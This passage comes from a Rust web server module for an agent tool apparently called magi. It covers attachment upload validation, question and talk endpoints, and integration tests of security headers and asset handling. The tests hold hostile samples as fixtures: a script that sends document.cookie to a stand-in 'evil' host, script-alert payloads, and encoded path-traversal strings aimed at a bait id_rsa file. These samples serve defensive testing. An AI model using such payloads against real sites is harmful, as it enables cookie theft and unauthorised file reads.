3340 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3341}
3342
3343async fn talk_attachment_post(
3346 State(ui): State<Arc<Ui>>,
3347 Path(id): Path<String>,
3348 headers: HeaderMap,
3349 body: Bytes,
3350) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3351 let mime = validate_attachment(&headers, &body)?;
3352 let name = filename_header(&headers);
3353 let data = body.to_vec();
3354 blocking(move || {
3355 let id = resolve_talk(&ui.talks, &id)?;
3356 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3357 Ok((StatusCode::CREATED, Json(att)))
3358 })
3359 .await
3360}
3361
3362async fn talk_attachment_get(
3365 State(ui): State<Arc<Ui>>,
3366 Path((id, att)): Path<(String, String)>,
3367) -> ApiResult<Response> {
3368 blocking(move || {
3369 let id = resolve_talk(&ui.talks, &id)?;
3370 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3371 return Err(ApiError::not_found(format!(
3372 "talk {id} has no attachment `{att}`"
3373 )));
3374 };
3375 Ok(attachment_response(&meta.mime, data))
3376 })
3377 .await
3378}
3379
3380fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3391 if data.len() > ATTACHMENT_MAX_BYTES {
3392 return Err(ApiError::bad_request(format!(
3393 "attachment is {} bytes, over the {} MiB limit",
3394 data.len(),
3395 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3396 ))
3397 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3398 }
3399 if data.is_empty() {
3400 return Err(ApiError::bad_request("attachment is empty"));
3401 }
3402 let declared = declared_mime(headers)?;
3403 match sniffed_mime(data) {
3404 Some(sniffed) if sniffed == declared => Ok(declared),
3405 Some(sniffed) => Err(ApiError::bad_request(format!(
3406 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3407 ))),
3408 None => Err(ApiError::bad_request(
3409 "the file's bytes do not match any accepted image format",
3410 )),
3411 }
3412}
3413
3414fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3418 let raw = headers
3419 .get(header::CONTENT_TYPE)
3420 .and_then(|v| v.to_str().ok())
3421 .unwrap_or("")
3422 .split(';')
3423 .next()
3424 .unwrap_or("")
3425 .trim()
3426 .to_ascii_lowercase();
3427 ATTACHMENT_MIME_WHITELIST
3428 .iter()
3429 .find(|&&m| m == raw)
3430 .copied()
3431 .ok_or_else(|| {
3432 if raw == "image/svg+xml" {
3433 ApiError::bad_request(
3434 "SVG is not accepted: it can carry active content (e.g. a <script>), \
3435 not just a picture",
3436 )
3437 } else if raw.is_empty() {
3438 ApiError::bad_request("Content-Type is required for an attachment upload")
3439 } else {
3440 ApiError::bad_request(format!(
3441 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3442 image/gif or image/webp"
3443 ))
3444 }
3445 })
3446}
3447
3448fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3451 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3452 Some("image/png")
3453 } else if data.starts_with(b"\xff\xd8\xff") {
3454 Some("image/jpeg")
3455 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3456 Some("image/gif")
3457 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3458 Some("image/webp")
3459 } else {
3460 None
3461 }
3462}
3463
3464fn filename_header(headers: &HeaderMap) -> String {
3470 headers
3471 .get(FILENAME_HEADER)
3472 .and_then(|v| v.to_str().ok())
3473 .map(str::trim)
3474 .filter(|s| !s.is_empty())
3475 .unwrap_or("attachment")
3476 .to_owned()
3477}
3478
3479fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
3486 let content_type = ATTACHMENT_MIME_WHITELIST
3487 .iter()
3488 .find(|&&m| m == mime)
3489 .copied()
3490 .unwrap_or("application/octet-stream");
3491 (
3492 [
3493 (header::CONTENT_TYPE, content_type),
3494 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3495 ],
3496 body,
3497 )
3498 .into_response()
3499}
3500
3501async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3509 let repo = repo.to_path_buf();
3510 blocking(move || {
3511 let (cfg, _) = Config::discover(&repo, None)?;
3512 Ok(cfg)
3513 })
3514 .await
3515}
3516
3517fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3523 let mut hits = ids
3524 .into_iter()
3525 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3526 match (hits.next(), hits.next()) {
3527 (Some(one), None) => Ok(one),
3528 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3529 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3530 "`{prefix}` matches more than one {what}, including {a} and {b}"
3531 ))),
3532 }
3533}
3534
3535#[cfg(test)]
3536mod tests {
3537 use pretty_assertions::assert_eq;
3538 use serde_json::Value;
3539 use tempfile::TempDir;
3540 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3541
3542 use super::*;
3543 use crate::config::Config;
3544 use crate::queue::{Source, TaskStatus};
3545
3546 struct Fixture {
3552 home: TempDir,
3553 addr: SocketAddr,
3554 }
3555
3556 impl Fixture {
3557 async fn start() -> Self {
3558 Self::with_loop(launch_idle).await
3559 }
3560
3561 async fn with_loop(launch: Launch) -> Self {
3563 let home = TempDir::new().expect("temp home");
3564 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3565 Self { home, addr }
3566 }
3567
3568 async fn with_repo(repo: PathBuf) -> Self {
3572 let home = TempDir::new().expect("temp home");
3573 let addr = Self::serve(home.path(), repo, launch_idle).await;
3574 Self { home, addr }
3575 }
3576
3577 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3578 let queue = Queue::at(home.join("queue"));
3579 let runs = home.join("runs");
3580 std::fs::create_dir_all(&runs).expect("runs dir");
3581 let worktrees = home.join("wt").join("magi");
3582 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3583 let ui = Ui::new(
3584 queue,
3585 Questions::at(home.join("questions")),
3586 Talks::at(home.join("talks")),
3587 runs,
3588 home.to_path_buf(),
3589 repo,
3590 )
3591 .with_worktrees_root(worktrees)
3592 .with_launch(launch);
3593 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3594 .await
3595 .expect("bind loopback");
3596 let addr = listener.local_addr().expect("local addr");
3597 tokio::spawn(async move {
3598 let _ = axum::serve(listener, ui.router()).await;
3599 });
3600 addr
3601 }
3602
3603 fn queue(&self) -> Queue {
3604 Queue::at(self.home.path().join("queue"))
3605 }
3606
3607 fn questions(&self) -> Questions {
3608 Questions::at(self.home.path().join("questions"))
3609 }
3610
3611 fn talks(&self) -> Talks {
3612 Talks::at(self.home.path().join("talks"))
3613 }
3614
3615 fn runs(&self) -> PathBuf {
3616 self.home.path().join("runs")
3617 }
3618
3619 async fn get(&self, path: &str) -> Res {
3620 request(self.addr, "GET", path, None).await
3621 }
3622
3623 async fn head(&self, path: &str) -> Res {
3628 request(self.addr, "HEAD", path, None).await
3629 }
3630
3631 async fn post(&self, path: &str, body: Option<&str>) -> Res {
3632 request(self.addr, "POST", path, body).await
3633 }
3634
3635 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3636 request_with(self.addr, "GET", path, None, extra).await
3637 }
3638
3639 async fn delete(&self, path: &str) -> Res {
3640 request(self.addr, "DELETE", path, None).await
3641 }
3642
3643 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
3645 request_bytes(self.addr, path, headers, body).await
3646 }
3647 }
3648
3649 struct Res {
3650 status: u16,
3651 headers: String,
3652 head: String,
3657 body: String,
3658 bytes: Vec<u8>,
3662 }
3663
3664 impl Res {
3665 fn json(&self) -> Value {
3666 serde_json::from_str(&self.body)
3667 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3668 }
3669
3670 fn header(&self, name: &str) -> Option<&str> {
3672 self.head.lines().find_map(|line| {
3673 let (key, value) = line.split_once(':')?;
3674 key.trim()
3675 .eq_ignore_ascii_case(name)
3676 .then(|| value.trim_start().trim_end_matches('\r'))
3677 })
3678 }
3679 }
3680
3681 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3684 request_with(addr, method, path, body, &[]).await
3685 }
3686
3687 async fn request_with(
3691 addr: SocketAddr,
3692 method: &str,
3693 path: &str,
3694 body: Option<&str>,
3695 extra: &[(&str, &str)],
3696 ) -> Res {
3697 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3698 for (name, value) in extra {
3699 head.push_str(&format!("{name}: {value}\r\n"));
3700 }
3701 if let Some(body) = body {
3702 head.push_str("Content-Type: application/json\r\n");
3703 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3704 }
3705 head.push_str("\r\n");
3706 if let Some(body) = body {
3707 head.push_str(body);
3708 }
3709 let mut socket = tokio::net::TcpStream::connect(addr)
3710 .await
3711 .expect("connect to the test server");
3712 socket
3713 .write_all(head.as_bytes())
3714 .await
3715 .expect("write request");
3716 let mut raw = Vec::new();
3717 socket.read_to_end(&mut raw).await.expect("read response");
3718 let split = raw
3721 .windows(4)
3722 .position(|w| w == b"\r\n\r\n")
3723 .expect("a header block");
3724 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3725 let bytes = raw[split + 4..].to_vec();
3726 let status = head
3727 .lines()
3728 .next()
3729 .and_then(|line| line.split_whitespace().nth(1))
3730 .and_then(|code| code.parse().ok())
3731 .expect("a status line");
3732 Res {
3733 status,
3734 headers: head.to_lowercase(),
3735 head,
3736 body: String::from_utf8_lossy(&bytes).into_owned(),
3737 bytes,
3738 }
3739 }
3740
3741 async fn request_bytes(
3747 addr: SocketAddr,
3748 path: &str,
3749 headers: &[(&str, &str)],
3750 body: &[u8],
3751 ) -> Res {
3752 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3753 for (name, value) in headers {
3754 head.push_str(&format!("{name}: {value}\r\n"));
3755 }
3756 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
3757 let mut socket = tokio::net::TcpStream::connect(addr)
3758 .await
3759 .expect("connect to the test server");
3760 socket
3761 .write_all(head.as_bytes())
3762 .await
3763 .expect("write request head");
3764 socket.write_all(body).await.expect("write request body");
3765 let mut raw = Vec::new();
3766 socket.read_to_end(&mut raw).await.expect("read response");
3767 let split = raw
3768 .windows(4)
3769 .position(|w| w == b"\r\n\r\n")
3770 .expect("a header block");
3771 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3772 let bytes = raw[split + 4..].to_vec();
3773 let status = head
3774 .lines()
3775 .next()
3776 .and_then(|line| line.split_whitespace().nth(1))
3777 .and_then(|code| code.parse().ok())
3778 .expect("a status line");
3779 Res {
3780 status,
3781 headers: head.to_lowercase(),
3782 head,
3783 body: String::from_utf8_lossy(&bytes).into_owned(),
3784 bytes,
3785 }
3786 }
3787
3788 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3790 let mut state = RunState::new(
3791 PathBuf::from("/repo/magi"),
3792 "main".to_owned(),
3793 "0123456789abcdef".to_owned(),
3794 "Add a web UI\n\nMobile first.".to_owned(),
3795 Config::default(),
3796 );
3797 state.id = id.to_owned();
3798 state.status = status;
3799 let dir = runs.join(id);
3800 std::fs::create_dir_all(&dir).expect("run dir");
3801 std::fs::write(
3802 dir.join("run.json"),
3803 serde_json::to_string_pretty(&state).expect("serialize run"),
3804 )
3805 .expect("write run.json");
3806 }
3807
3808 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3809 let body = serde_json::json!({
3810 "schema": 1,
3811 "pid": 4242,
3812 "started_at": Timestamp::now().to_string(),
3813 "updated_at": updated_at.to_string(),
3814 "idle": false,
3815 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
3816 "completed": 7,
3817 "polls": 143,
3818 });
3819 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3820 }
3821
3822 fn launch_idle(
3832 _opts: daemon::Opts,
3833 stop: daemon::Stop,
3834 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3835 Box::pin(async move {
3836 while !stop.stopped() {
3837 tokio::time::sleep(Duration::from_millis(2)).await;
3838 }
3839 Ok(())
3840 })
3841 }
3842
3843 fn launch_broken(
3846 _opts: daemon::Opts,
3847 _stop: daemon::Stop,
3848 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3849 Box::pin(async {
3850 Err(anyhow::anyhow!(
3851 "publish the daemon status file: read-only file system"
3852 ))
3853 })
3854 }
3855
3856 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3863 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3864
3865 fn launch_knocking_on_the_way_out(
3872 _opts: daemon::Opts,
3873 stop: daemon::Stop,
3874 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3875 Box::pin(async move {
3876 while !stop.stopped() {
3877 tokio::time::sleep(Duration::from_millis(2)).await;
3878 }
3879 let addr = PARK_KNOCK
3880 .lock()
3881 .expect("park knock")
3882 .expect("the test set an address");
3883 let heard = request(addr, "GET", "/api/health", None).await.status;
3884 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3885 Ok(())
3886 })
3887 }
3888
3889 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3897 for _ in 0..200 {
3898 let view = fx.get("/api/loop").await.json();
3899 if want(&view) {
3900 return view;
3901 }
3902 tokio::time::sleep(Duration::from_millis(10)).await;
3903 }
3904 panic!(
3905 "the loop never settled: {}",
3906 fx.get("/api/loop").await.json()
3907 );
3908 }
3909
3910 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3912 let store = fx.questions();
3913 let mut q = Question::new(
3914 "20260902-000000-beef".to_owned(),
3915 "implement".to_owned(),
3916 "impl-A".to_owned(),
3917 summary.to_owned(),
3918 "because it matters".to_owned(),
3919 choices.iter().map(|c| (*c).to_owned()).collect(),
3920 );
3921 store.put(&mut q).expect("put question");
3922 q.id
3923 }
3924
3925 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3931 let store = fx.questions();
3932 let mut q = Question::new(
3933 "20260902-000000-beef".to_owned(),
3934 "land".to_owned(),
3935 "fix".to_owned(),
3936 "Merge this?".to_owned(),
3937 "the diff is in the panel".to_owned(),
3938 vec!["merge".to_owned(), "hold".to_owned()],
3939 );
3940 let staging = fx.home.path().join("staging");
3943 std::fs::create_dir_all(&staging).expect("staging dir");
3944 let sources: Vec<PathBuf> = assets
3945 .iter()
3946 .map(|(name, bytes)| {
3947 let path = staging.join(name);
3948 std::fs::write(&path, bytes).expect("write staged asset");
3949 path
3950 })
3951 .collect();
3952 store
3953 .put_panel(&mut q, html, &sources)
3954 .expect("write the panel");
3955 store.put(&mut q).expect("put question");
3956 q.id
3957 }
3958
3959 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3968 let store = fx.talks();
3969 std::fs::create_dir_all(store.root()).expect("talks dir");
3970 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3971 .expect("serialize a seat");
3972 let body = serde_json::json!({
3973 "schema": 1,
3974 "id": id,
3975 "repo": "/repo/magi",
3976 "agent": "mock",
3977 "status": status,
3978 "turns": [],
3979 "created_at": Timestamp::now().to_string(),
3980 "updated_at": Timestamp::now().to_string(),
3981 "seat": seat,
3982 });
3983 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3984 store.get(id).expect("the seeded talk has to be readable");
3985 id.to_owned()
3986 }
3987
3988 #[tokio::test]
3989 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3990 let fx = Fixture::start().await;
3991 let id = panel(
3992 &fx,
3993 "<h1>Merge?</h1><img src=\"diff.svg\">",
3994 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3995 );
3996
3997 for path in [
3998 format!("/api/questions/{id}/panel"),
3999 format!("/api/questions/{id}/asset/diff.svg"),
4000 ] {
4001 let res = fx.get(&path).await;
4002 assert_eq!(res.status, 200, "{path}: {}", res.body);
4003 assert_eq!(
4009 res.header("content-security-policy"),
4010 Some(
4011 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4012 font-src data:; base-uri 'none'; form-action 'none'; \
4013 frame-ancestors 'self'"
4014 ),
4015 "{path} is the only thing between a hostile panel and the tailnet"
4016 );
4017 assert_eq!(
4018 res.header("x-content-type-options"),
4019 Some("nosniff"),
4020 "{path}: a browser must not re-decide the type we sent"
4021 );
4022 assert_eq!(
4023 res.header("referrer-policy"),
4024 Some("no-referrer"),
4025 "{path}: a panel must not leak the question id off the machine"
4026 );
4027
4028 let pre = fx.head(&path).await;
4033 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4034 assert_eq!(
4035 pre.header("content-security-policy"),
4036 res.header("content-security-policy"),
4037 "{path}: the preflight carries the same policy"
4038 );
4039 assert_eq!(
4040 pre.header("content-type"),
4041 res.header("content-type"),
4042 "{path}: the preflight carries the same type"
4043 );
4044 }
4045 }
4046
4047 #[tokio::test]
4048 async fn a_panel_reaches_the_browser_byte_for_byte() {
4049 let fx = Fixture::start().await;
4050 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4055 let id = panel(&fx, html, &[]);
4056
4057 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4058
4059 assert_eq!(res.status, 200);
4060 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4061 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4062 assert_eq!(
4063 res.header("content-disposition"),
4064 None,
4065 "the panel itself is rendered in the frame, not downloaded"
4066 );
4067 }
4068
4069 #[tokio::test]
4070 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4071 let fx = Fixture::start().await;
4072 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4073 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4074 let id = panel(
4075 &fx,
4076 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4077 &[("diff.svg", svg), ("shot.png", png)],
4078 );
4079
4080 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4081 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4082
4083 assert_eq!(as_svg.status, 200);
4084 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4085 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4090
4091 assert_eq!(as_png.status, 200);
4092 assert_eq!(as_png.header("content-type"), Some("image/png"));
4093 assert_eq!(
4094 as_png.header("content-disposition"),
4095 None,
4096 "a raster image has no execution surface, so tapping it still shows it"
4097 );
4098 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4099 }
4100
4101 #[tokio::test]
4102 async fn an_html_asset_is_never_served_as_html() {
4103 let fx = Fixture::start().await;
4104 let id = panel(
4105 &fx,
4106 "<p>see the notes</p>",
4107 &[
4108 (
4109 "notes.html",
4110 b"<script>fetch('http://evil/'+document.cookie)</script>",
4111 ),
4112 ("hook.js", b"fetch('http://evil/')"),
4113 ("data.json", b"{}"),
4114 ("HEADLINE.TXT", b"plain"),
4115 ],
4116 );
4117
4118 for name in ["notes.html", "hook.js", "data.json"] {
4119 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4120 assert_eq!(res.status, 200, "{name}: {}", res.body);
4121 assert_eq!(
4126 res.header("content-type"),
4127 Some("application/octet-stream"),
4128 "{name} must not be a type the browser will execute or render"
4129 );
4130 }
4131 let txt = fx
4134 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4135 .await;
4136 assert_eq!(
4137 txt.header("content-type"),
4138 Some("text/plain; charset=utf-8")
4139 );
4140 }
4141
4142 #[tokio::test]
4143 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4144 let fx = Fixture::start().await;
4145 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4146 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4150
4151 for encoded in [
4158 "%2e%2e%2fid_rsa",
4159 "..%2fid_rsa",
4160 "..%5cid_rsa",
4161 "%2e%2e%5cid_rsa",
4162 "diff%00.svg",
4163 "..",
4164 ".hidden",
4165 "%2e%2e%2f%2e%2e%2fid_rsa",
4166 ] {
4167 let res = fx
4168 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4169 .await;
4170 assert_eq!(
4171 res.status, 400,
4172 "`{encoded}` has to be refused by name, not looked up: {}",
4173 res.body
4174 );
4175 assert!(res.json()["error"].is_string(), "{}", res.body);
4176 }
4177
4178 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4184 let res = fx
4185 .get(&format!("/api/questions/{id}/asset/{literal}"))
4186 .await;
4187 assert_eq!(
4188 res.status, 404,
4189 "`{literal}` must not match the asset route at all: {}",
4190 res.body
4191 );
4192 }
4193 }
4194
4195 #[tokio::test]
4196 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4197 let fx = Fixture::start().await;
4198 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4199 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4200
4201 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4205 assert_eq!(none.status, 404, "{}", none.body);
4206 assert!(none.json()["error"].is_string(), "{}", none.body);
4207 assert_eq!(
4208 fx.head(&format!("/api/questions/{plain}/panel"))
4209 .await
4210 .status,
4211 404,
4212 "the preflight is the only way the client can learn this"
4213 );
4214
4215 let missing = fx
4217 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4218 .await;
4219 assert_eq!(missing.status, 404, "{}", missing.body);
4220 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4221
4222 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4224 assert_eq!(
4225 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4226 404
4227 );
4228 }
4229
4230 #[tokio::test]
4231 async fn a_run_with_an_open_question_reads_as_waiting() {
4232 let fx = Fixture::start().await;
4233 let run = "20260902-000000-beef".to_owned();
4234 write_run(&fx.runs(), &run, RunStatus::Implementing);
4235
4236 let before = fx.get("/api/runs").await.json();
4237 assert_eq!(before[0]["waiting"], false, "{before}");
4238
4239 let store = fx.questions();
4240 let mut q = Question::new(
4241 run.clone(),
4242 "implement".to_owned(),
4243 "impl-A".to_owned(),
4244 "Which backend?".to_owned(),
4245 String::new(),
4246 vec!["SQLite".to_owned()],
4247 );
4248 store.put(&mut q).expect("put");
4249
4250 let during = fx.get("/api/runs").await.json();
4251 assert_eq!(during[0]["waiting"], true, "{during}");
4252
4253 q.answer(Answer::Choice("SQLite".to_owned()))
4256 .expect("answer");
4257 store.put(&mut q).expect("put");
4258 let after = fx.get("/api/runs").await.json();
4259 assert_eq!(after[0]["waiting"], false, "{after}");
4260 }
4261
4262 #[tokio::test]
4263 async fn an_open_question_is_listed_and_counted_by_health() {
4264 let fx = Fixture::start().await;
4265 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4266
4267 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4268 let listed = fx.get("/api/questions").await.json();
4269 assert_eq!(listed.as_array().expect("array").len(), 1);
4270 assert_eq!(listed[0]["id"], id);
4271 assert_eq!(listed[0]["status"], "open");
4272 assert_eq!(listed[0]["choices"][1], "Redis");
4273 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4276 }
4277
4278 #[tokio::test]
4279 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4280 let fx = Fixture::start().await;
4281 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4282 let path = format!("/api/questions/{id}/answer");
4283
4284 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4285 assert_eq!(res.status, 200, "{}", res.body);
4286 let body = res.json();
4287 assert_eq!(body["status"], "answered");
4288 assert_eq!(body["answer"]["choice"], "Redis");
4289
4290 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4294 assert_eq!(again.status, 409, "{}", again.body);
4295 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4296 }
4297
4298 #[tokio::test]
4299 async fn saying_something_appends_a_turn_without_answering() {
4300 let fx = Fixture::start().await;
4301 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4302 let path = format!("/api/questions/{id}/say");
4303
4304 let res = fx
4305 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4306 .await;
4307 assert_eq!(res.status, 200, "{}", res.body);
4308 let body = res.json();
4309 assert_eq!(body["status"], "open", "talking back is not a decision");
4310 assert_eq!(body["answer"], Value::Null);
4311 assert_eq!(body["thread"][0]["who"], "operator");
4312 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4313 assert_eq!(body["waiting_on_agent"], true);
4314 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4316 }
4317
4318 #[tokio::test]
4319 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4320 let fx = Fixture::start().await;
4321 let store = fx.questions();
4322 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4323 assert_eq!(
4324 fx.get("/api/health").await.json()["questions_needs_owner"],
4325 1
4326 );
4327
4328 let res = fx
4334 .post(
4335 &format!("/api/questions/{id}/say"),
4336 Some(r#"{"body":"why not Postgres?"}"#),
4337 )
4338 .await;
4339 assert_eq!(res.status, 200, "{}", res.body);
4340 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4341 assert_eq!(
4342 fx.get("/api/health").await.json()["questions_needs_owner"],
4343 0,
4344 "waiting on the agent is not waiting on the owner"
4345 );
4346
4347 let mut q = store.get(&id).expect("get");
4351 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4352 .expect("reply");
4353 store.put(&mut q).expect("put");
4354 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4355 assert_eq!(
4356 fx.get("/api/health").await.json()["questions_needs_owner"],
4357 1,
4358 "the agent's reply is what should light the banner back up"
4359 );
4360 }
4361
4362 #[tokio::test]
4363 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4364 let fx = Fixture::start().await;
4365 let store = fx.questions();
4366
4367 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4368 let res = fx
4369 .post(
4370 &format!("/api/questions/{empty_id}/say"),
4371 Some(r#"{"body":" "}"#),
4372 )
4373 .await;
4374 assert_eq!(res.status, 400, "{}", res.body);
4375
4376 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4377 let mut answered = store.get(&answered_id).expect("get");
4378 answered
4379 .answer(Answer::Choice("SQLite".to_owned()))
4380 .expect("answer");
4381 store.put(&mut answered).expect("put");
4382 let res = fx
4383 .post(
4384 &format!("/api/questions/{answered_id}/say"),
4385 Some(r#"{"body":"still there?"}"#),
4386 )
4387 .await;
4388 assert_eq!(res.status, 409, "{}", res.body);
4389
4390 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4391 let mut abandoned = store.get(&abandoned_id).expect("get");
4392 abandoned.abandon("timed out");
4393 store.put(&mut abandoned).expect("put");
4394 let res = fx
4395 .post(
4396 &format!("/api/questions/{abandoned_id}/say"),
4397 Some(r#"{"body":"still there?"}"#),
4398 )
4399 .await;
4400 assert_eq!(res.status, 409, "{}", res.body);
4401 }
4402
4403 #[tokio::test]
4404 async fn an_answer_the_question_does_not_offer_is_refused() {
4405 let fx = Fixture::start().await;
4406 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4407 let path = format!("/api/questions/{id}/answer");
4408
4409 for body in [
4410 r#"{"choice":"Postgres"}"#,
4411 r#"{"text":"whatever you think"}"#,
4412 r#"{"choice":"Redis","text":"both"}"#,
4413 r#"{}"#,
4414 ] {
4415 let res = fx.post(&path, Some(body)).await;
4416 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4417 assert!(res.json()["error"].is_string(), "{}", res.body);
4418 }
4419 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4421 }
4422
4423 #[tokio::test]
4424 async fn a_free_text_question_takes_text_and_not_a_choice() {
4425 let fx = Fixture::start().await;
4426 let id = ask(&fx, "What should the flag be called?", &[]);
4427 let path = format!("/api/questions/{id}/answer");
4428
4429 assert_eq!(
4430 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4431 400
4432 );
4433 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4434 assert_eq!(res.status, 200, "{}", res.body);
4435 assert_eq!(res.json()["answer"]["text"], "--json");
4436 }
4437
4438 #[tokio::test]
4439 async fn an_unknown_question_is_a_json_404() {
4440 let fx = Fixture::start().await;
4441 let res = fx
4442 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4443 .await;
4444 assert_eq!(res.status, 404, "{}", res.body);
4445 assert!(res.json()["error"].is_string());
4446 }
4447
4448 #[tokio::test]
4455 async fn a_task_cannot_be_filed_over_the_phone_directly() {
4456 let f = Fixture::start().await;
4457
4458 let res = f
4459 .post(
4460 "/api/queue",
4461 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4462 )
4463 .await;
4464
4465 assert_eq!(
4466 res.status, 405,
4467 "POST /api/queue must not be a route: {}",
4468 res.body
4469 );
4470 assert!(
4471 f.queue().list().is_empty(),
